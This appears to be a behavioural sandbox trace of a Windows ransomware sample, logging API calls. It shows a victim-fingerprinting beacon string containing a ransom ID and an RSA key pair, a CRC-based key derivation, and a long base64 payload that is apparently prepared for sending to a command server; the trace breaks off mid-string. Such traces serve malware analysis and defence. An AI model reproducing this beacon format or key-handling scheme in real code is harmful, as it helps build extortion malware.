	[0084.625] lstrlenW (lpString="action=call&ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=&version=3.0.0") returned 2182
	[0084.625] VirtualAlloc (lpAddress=0x0, dwSize=0x8872, flAllocationType=0x3000, flProtect=0x40) returned 0x2750000
	[0084.626] lstrlenW (lpString="action=call&ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=&version=3.0.0") returned 2182
	[0084.626] lstrlenW (lpString="action=call&ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=&version=3.0.0") returned 2182
	[0084.626] lstrlenW (lpString="aysseaf?s=oast") returned 14
	[0084.626] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2fb0000
	[0084.626] wsprintfA (in: param_1=0x2fb0000, param_2="%S" | out: param_1="aysseaf?s=oast") returned 14
	[0084.626] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0084.627] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0084.627] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
	[0084.627] lstrlenA (lpString="aysseaf?s=oast") returned 14
	[0084.627] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x2fb0000, Length=0xe) returned 0x7e24602
	[0084.627] wsprintfA (in: param_1=0x2fc0000, param_2="%Xeuropol" | out: param_1="7E24602europol") returned 14
	[0084.627] lstrlenA (lpString="7E24602europol") returned 14
	[0084.627] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.627] CryptBinaryToStringA (in: pbBinary=0x170000, cbBinary=0x110c, dwFlags=0x40000001, pszString=0x2750000, pcchString=0x253fe44 | out: pszString="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", pcchString=0x253fe44) returned 1
	[0084.627] lstrlenA (lpString="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